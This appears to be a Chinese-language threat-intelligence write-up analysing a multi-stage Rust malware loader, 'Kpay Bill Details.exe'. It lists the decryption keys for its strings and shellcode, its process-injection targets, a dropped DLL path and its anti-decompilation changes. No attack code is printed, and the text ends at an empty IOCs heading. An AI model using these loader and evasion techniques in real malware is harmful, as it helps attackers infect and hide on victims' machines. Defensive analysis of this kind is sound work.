因此,在这里,笔者直接使用《一款针对国内用户的多阶段Rust加载器分析》文章中的IDAPYTHON解密脚本,即可批量解密此样本的加密字符串数据。

解密算法信息如下:

解密算法:chacha20poly1305

内置key为:2EC14FBBC0CEA81AB741766399A9B82CAEA7413286285610D6E155E1CD55C156

加密数据和nonce值均由解密函数传递

解密效果如下:



解密shellcode1

基于代码逻辑,尝试解密提取用于taskhostw.exe、SecurityHealthSystray.exe、sihost.exe进程注入的shellcode1载荷,异或解密密钥为:ED90E21D0C6806EA823E354F52C295E0E0B5E170BAC7F67B355F87F35BACC1F1

成功解密shellcode1载荷后,发现shellcode1载荷中携带了一个PE文件(schedJump.exe)。

进一步分析,发现schedJump.exe样本功能与《一款针对国内用户的多阶段Rust加载器分析》文章中的样本功能相同,样本信息如下:

相关代码截图如下:



解密截图如下:



schedJump.exe样本反编译截图如下:



解密shellcode2

基于代码逻辑,尝试解密提取用于内存解密加载Apoom.dll文件的shellcode2载荷,异或解密密钥为:6EB692F1A46F72BCE2992BF3178FEB7C8E2B20A4B3377267FF8EB22CA8F7A6A3

成功解密shellcode2载荷后,发现shellcode2载荷中携带了一个PE文件(Kxhxxsutofr.exe)。

进一步分析,发现Kxhxxsutofr.exe样本功能与《一款针对国内用户的多阶段Rust加载器分析》文章中的样本功能相同,解密释放的Apoom.dll样本MD5相同。

Kxhxxsutofr.exe样本信息如下:

相关代码截图如下:



解密截图如下:



Kxhxxsutofr.exe样本内存加载Apoom.dll样本的代码截图如下:



Kpay Bill Details.exe

样本释放文件路径为"C:\Users\admin\AppData\Roaming\Microsoft\SystemCertificates\111a3c5c_520e_4680_97eb_a46bafd2ecb7.dll"

111a3c5c_520e_4680_97eb_a46bafd2ecb7.dll文件的原始文件名为:petoshka.dll

相关截图如下:





petoshka.dll

解密字符串

字符串解密密钥为:7BC72372AF7C17373C38A7FB8C3C7B757F16CEB024B7092E91815981C1718E04

相关截图如下:



解密shellcode1,shellcode1中携带了schedJump.exe样本

异或解密密钥为:909BA558A217476AE19E1AC126F6F0C8CA63459DDC4A413D6CB7F6B8EAFFF62C

相关截图如下:



解密shellcode2,shellcode2中携带了Kxhxxsutofr.exe样本

异或解密密钥为:7B6E2126CB29AEF8DCF82CF50A69E3C44CF3BF60F14D0BCE119BF11BBA49B9B7

相关截图如下:



schedJump.exe

schedJump.exe样本功能与上述样本功能相同。

相关代码截图如下:



Kxhxxsutofr.exe

Kxhxxsutofr.exe样本功能与上述样本功能相同,内存解密的Apoom.dll样本MD5相同。

样本内存加载Apoom.dll样本的代码截图如下:



升级对比

对抗样本反编译

通过分析,对比此次安全事件中的样本与《一款针对国内用户的多阶段Rust加载器分析》文章中的样本,发现此次安全事件中的样本在对抗样本反编译角度做了优化升级:

《一款针对国内用户的多阶段Rust加载器分析》文章中的样本携带了符号信息;

此次安全事件中的样本未携带符号信息,在不了解前期样本的情况下,分析难度其实还是比较大的;

《一款针对国内用户的多阶段Rust加载器分析》文章中的样本反编译代码截图如下:



此次安全事件中的样本反编译代码截图如下:



载荷投递流程

通过分析,对比此次安全事件中的样本与《一款针对国内用户的多阶段Rust加载器分析》文章中的样本,发现此次安全事件中的样本在载荷投放方式上做了优化升级:

《一款针对国内用户的多阶段Rust加载器分析》文章中的样本中携带了压缩包文件,压缩包文件解压后即为shellcode2加密载荷,异或解密后即为实际shellcode2载荷内容;

此次安全事件中的样本直接携带了shellcode2加密载荷,异或解密后即为实际shellcode2载荷内容;

《一款针对国内用户的多阶段Rust加载器分析》文章中的样本截图如下:





此次安全事件中的样本截图如下:



IOCs